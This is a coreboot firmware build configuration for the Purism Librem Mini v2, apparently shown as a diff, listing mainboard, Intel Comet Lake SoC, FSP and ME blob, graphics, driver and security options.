-# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Librem Mini" -CONFIG_MAINBOARD_PART_NUMBER="Librem Mini v2" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="purism/librem_cnl" -CONFIG_VGA_BIOS_ID="8086,9b41" -CONFIG_DIMM_MAX=2 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="Purism" CONFIG_CBFS_SIZE=0xC00000 -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 -CONFIG_MAX_CPUS=12 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="librem_mini" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" CONFIG_INTEL_GMA_VBT_FILE="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/vbt.bin" -# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xe00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/librem_mini/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/librem_mini/cmos.layout" -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_PXE_ROM_ID="10ec,8168" -CONFIG_USE_PM_ACPI_TIMER=y -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0x40000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/me.bin" -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_EDK2_BOOT_TIMEOUT=4 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Mini v2" CONFIG_HAVE_IFD_BIN=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI is not set CONFIG_BOARD_PURISM_LIBREM_MINI_V2=y -# CONFIG_BOARD_PURISM_LIBREM_14 is not set -# CONFIG_BOARD_PURISM_LIBREM_11 is not set -# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x360 -# CONFIG_ENABLE_EC_UART1 is not set -CONFIG_FSP_TEMP_RAM_SIZE=0x10000 -CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# end of Mainboard - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset.cb" -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT_SIZE=0x0 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IFD_CHIPSET="cnl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_ROOT_PORTS=16 -CONFIG_MAX_PCIE_CLOCK_SRC=6 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=24000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 -CONFIG_SOC_INTEL_I2C_DEV_MAX=6 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Fsp.fd" -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 -CONFIG_INTEL_GMA_BCLV_WIDTH=32 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLM_WIDTH=32 -CONFIG_MAX_HECI_DEVICES=6 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_INTEL_CANNONLAKE_BASE=y -CONFIG_SOC_INTEL_COMETLAKE=y -CONFIG_SOC_INTEL_COMETLAKE_1_2=y -CONFIG_FSP_FD_PATH_2="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Fsp.fd" -CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 -CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -# CONFIG_USE_INTEL_FSP_MP_INIT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -CONFIG_FSP_HYPERTHREADING=y -# CONFIG_INTEL_KEYLOCKER is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y -CONFIG_ME_SPEC=12 -CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -CONFIG_SOC_INTEL_COMMON_NHLT=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_X86_CLFLUSH_CAR=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_cnl/cpu_microcode_blob.bin" - -# -# Northbridge -# - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# -CONFIG_SUPERIO_ITE_COMMON_PRE_RAM=y -CONFIG_SUPERIO_ITE_IT8528E=y - -# -# Embedded Controllers -# - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_UDK_BASE=y -CONFIG_UDK_2017_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=2017 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_IDT_IN_EVERY_STAGE=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_ACPI_CF9_FULL_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_RUN_FSP_GOP is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_HAVE_DPTF_EISA_HID=y -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -# CONFIG_BMP_LOGO is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_PLATFORM_USES_SECOND_FSP=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_S_CBFS_2="fsps_2.bin" -CONFIG_FSP_M_CBFS_2="fspm_2.bin" -CONFIG_FSP_M_FILE_2="$(obj)/Fsp_2_M.fd" -CONFIG_FSP_S_FILE_2="$(obj)/Fsp_2_S.fd" -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_FSP_USES_CB_STACK=y -CONFIG_HAVE_FSP_LOGO_SUPPORT=y -CONFIG_FSP_COMPRESS_FSP_S_LZMA=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y -CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y -CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Skylake" -CONFIG_GFX_GMA_PCH="Cannon_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -# CONFIG_USE_PC_CMOS_ALTCENTURY is not set -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -CONFIG_NO_TPM=y -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# 